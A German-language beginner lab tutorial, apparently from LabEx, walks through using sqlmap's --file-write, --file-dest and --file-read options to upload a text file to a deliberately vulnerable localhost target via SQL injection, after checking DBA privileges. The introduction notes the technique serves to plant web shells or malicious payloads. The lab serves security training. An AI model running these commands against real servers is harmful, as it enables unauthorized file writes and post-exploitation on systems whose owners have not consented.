Lokale Datei mit sqlmap auf den Server schreiben

Kali LinuxBeginner
Jetzt üben

Einleitung

In diesem Lab werden Sie eine leistungsstarke Funktion von sqlmap erkunden: die Möglichkeit, lokale Dateien auf einen entfernten Server zu schreiben. Diese Fähigkeit ist in Penetration-Testing-Szenarien von entscheidender Bedeutung und ermöglicht es Ihnen, Web-Shells, Konfigurationsdateien oder andere bösartige Payloads auf einen kompromittierten Server hochzuladen. Wir werden die notwendigen Voraussetzungen behandeln, wie die Bestätigung von DBA-Berechtigungen und die Identifizierung beschreibbarer Verzeichnisse, und dann den Prozess des lokalen Erstellens einer Datei, des Hochladens mit sqlmap und der abschließenden Überprüfung ihrer Präsenz auf dem Server durchlaufen.

DBA-Berechtigungen und Verzeichnis-Schreibberechtigungen bestätigen

In diesem Schritt verwenden Sie sqlmap, um zu überprüfen, ob der aktuelle Datenbankbenutzer DBA-Berechtigungen (Database Administrator) besitzt und um Verzeichnisse auf dem Server zu identifizieren, die beschreibbar sind. DBA-Berechtigungen sind oft eine Voraussetzung für das Schreiben von Dateien, und das Wissen um beschreibbare Verzeichnisse ist unerlässlich, um ein Ziel für Ihre hochgeladene Datei auszuwählen.

Zuerst überprüfen wir die DBA-Berechtigungen. Dies ist entscheidend, da sqlmap oft hohe Berechtigungen benötigt, um Dateisystemoperationen durchzuführen.

sqlmap -u "http://localhost/vulnerable/index.php?id=1" --is-dba

Sie sollten eine Ausgabe sehen, die angibt, ob der Benutzer ein DBA ist. Suchen Sie nach einer Zeile ähnlich wie [INFO] the back-end DBMS user is a DBA.

Als Nächstes müssen wir ein beschreibbares Verzeichnis auf dem Server finden. sqlmap kann dabei helfen, indem es versucht, gängige beschreibbare Pfade zu identifizieren. Wir verwenden die Option --file-write mit einer Dummy-Datei und einem gängigen beschreibbaren Verzeichnis wie /tmp, um dies zu testen. Obwohl wir noch keine Datei tatsächlich schreiben, kann dieser Befehl helfen, Schreibfähigkeiten zu bestätigen.

sqlmap -u "http://localhost/vulnerable/index.php?id=1" --file-write=/dev/null --file-dest=/tmp/test_write.txt --batch

Das Flag --batch weist sqlmap an, Standardantworten auf Fragen zu verwenden, was für die Automatisierung nützlich ist. Wenn der Befehl ohne Fehler im Zusammenhang mit Berechtigungen ausgeführt wird, deutet dies darauf hin, dass /tmp beschreibbar ist.

Erwartete Ausgabe für --is-dba:

...
[INFO] checking if the back-end DBMS user is a DBA
[INFO] the back-end DBMS user is a DBA
...

Erwartete Ausgabe für das Testen von Schreibberechtigungen (kann variieren, aber suchen Sie nach Erfolgsmeldungen oder fehlenden Berechtigungsfehlern):

...
[INFO] the file '/tmp/test_write.txt' has been successfully written on the back-end DBMS file system
...

Lokale Datei zum Hochladen erstellen (z. B. upload.txt)

In diesem Schritt erstellen Sie eine einfache Textdatei auf Ihrem lokalen Rechner (der LabEx-Umgebung), die Sie auf den Zielserver hochladen möchten. Diese Datei kann beliebige Inhalte enthalten, aber für dieses Lab erstellen wir eine grundlegende Textdatei, um den Prozess zu demonstrieren.

Navigieren Sie zum Ordner project in Ihrem Home-Verzeichnis, dem Standardarbeitsverzeichnis in dieser Lab-Umgebung.

cd ~/project

Erstellen Sie nun eine Datei namens upload.txt mit etwas Inhalt, indem Sie den echo-Befehl und die Umleitung verwenden.

echo "This file was uploaded from the LabEx environment!" > upload.txt

Sie können den Inhalt der Datei mit cat überprüfen:

cat upload.txt

Erwartete Ausgabe:

This file was uploaded from the LabEx environment!

--file-write und --file-dest zur Angabe von Quelle und Ziel verwenden

In diesem Schritt lernen Sie die sqlmap-Optionen kennen, die für das Schreiben von Dateien verwendet werden: --file-write und --file-dest.

  • --file-write: Diese Option gibt den lokalen Pfad der Datei an, die Sie hochladen möchten. sqlmap liest den Inhalt dieser Datei.
  • --file-dest: Diese Option gibt den absoluten Pfad auf dem entfernten Server an, an den sqlmap die Datei schreiben soll. Es ist entscheidend, einen Pfad zu einem Verzeichnis anzugeben, für das der Datenbankbenutzer Schreibberechtigungen hat. Basierend auf unserem vorherigen Schritt ist /tmp/ ein guter Kandidat.

Wir bereiten den sqlmap-Befehl mit diesen Optionen vor, führen ihn aber erst im nächsten Schritt aus. So können Sie zuerst die Befehlsstruktur verstehen.

Der Befehl wird wie folgt aussehen:

sqlmap -u "http://localhost/vulnerable/index.php?id=1" --file-write="/home/labex/project/upload.txt" --file-dest="/tmp/uploaded_file.txt" --batch

Lassen Sie uns den Befehl aufschlüsseln:

  • -u "http://localhost/vulnerable/index.php?id=1": Die Ziel-URL mit der SQL-Injection-Schwachstelle.
  • --file-write="/home/labex/project/upload.txt": Der vollständige Pfad zur lokalen Datei, die Sie im vorherigen Schritt erstellt haben. Denken Sie daran, dass ~/project zu /home/labex/project erweitert wird.
  • --file-dest="/tmp/uploaded_file.txt": Der vollständige Pfad, an den die Datei auf dem entfernten Server geschrieben wird. Wir verwenden /tmp/ als Zielverzeichnis und nennen die hochgeladene Datei uploaded_file.txt.
  • --batch: Um den Prozess zu automatisieren und Standardauswahlen zu akzeptieren.

Nehmen Sie sich einen Moment Zeit, um den Befehl zu überprüfen und sicherzustellen, dass die Pfade korrekt sind.

Befehl zum Hochladen der Datei in ein beschreibbares Verzeichnis ausführen

In diesem Schritt führen Sie den in der vorherigen Lektion vorbereiteten sqlmap-Befehl aus, um upload.txt von Ihrem lokalen Rechner in das /tmp/-Verzeichnis auf dem Zielserver hochzuladen und es uploaded_file.txt zu nennen.

Führen Sie den sqlmap-Befehl aus:

sqlmap -u "http://localhost/vulnerable/index.php?id=1" --file-write="/home/labex/project/upload.txt" --file-dest="/tmp/uploaded_file.txt" --batch

sqlmap wird nun versuchen, die Datei zu schreiben. Sie sollten den Fortschritt von sqlmap beobachten, während es verschiedene Techniken zum Hochladen der Datei ausprobiert. Wenn erfolgreich, wird sqlmap melden, dass die Datei geschrieben wurde.

Erwartete Ausgabe (suchen Sie nach der Erfolgsmeldung):

...
[INFO] the file '/tmp/uploaded_file.txt' has been successfully written on the back-end DBMS file system
...

Diese Meldung bestätigt, dass sqlmap glaubt, die Datei erfolgreich an das angegebene Ziel auf dem Server geschrieben zu haben.

Erfolgreichen Upload mit dem --file-read-Befehl verifizieren

In diesem letzten Schritt verifizieren Sie, dass die Datei tatsächlich auf den Server hochgeladen wurde und ihr Inhalt korrekt ist. Dies können Sie mit der --file-read-Option von sqlmap tun, mit der Sie Dateien vom entfernten Server lesen können.

Verwenden Sie die --file-read-Option und geben Sie den Pfad zu der Datei an, die Sie gerade auf dem Server hochgeladen haben:

sqlmap -u "http://localhost/vulnerable/index.php?id=1" --file-read="/tmp/uploaded_file.txt" --batch

sqlmap wird versuchen, die Datei zu lesen und ihren Inhalt im Terminal anzuzeigen.

Erwartete Ausgabe:

...
[INFO] retrieved file content:
This file was uploaded from the LabEx environment!
...

Wenn Sie den Inhalt "This file was uploaded from the LabEx environment!" sehen, bedeutet dies, dass Ihre Datei erfolgreich hochgeladen wurde und vom Server gelesen werden kann. Dies bestätigt den gesamten Prozess des Schreibens einer lokalen Datei auf den Server mit sqlmap.

Zusammenfassung

In diesem Lab haben Sie erfolgreich gelernt, wie Sie die Dateischreibfähigkeiten von sqlmap nutzen können. Sie haben damit begonnen, DBA-Privilegien zu bestätigen und beschreibbare Verzeichnisse auf dem Zielserver zu identifizieren. Anschließend haben Sie eine lokale Datei erstellt und sqlmap mit den Optionen --file-write und --file-dest verwendet, um sie auf den Server hochzuladen. Abschließend haben Sie den erfolgreichen Upload verifiziert, indem Sie den Inhalt der Datei mit der Option --file-read vom Server gelesen haben. Diese Fähigkeit ist im Penetration Testing für verschiedene Post-Exploitation-Aktivitäten von grundlegender Bedeutung.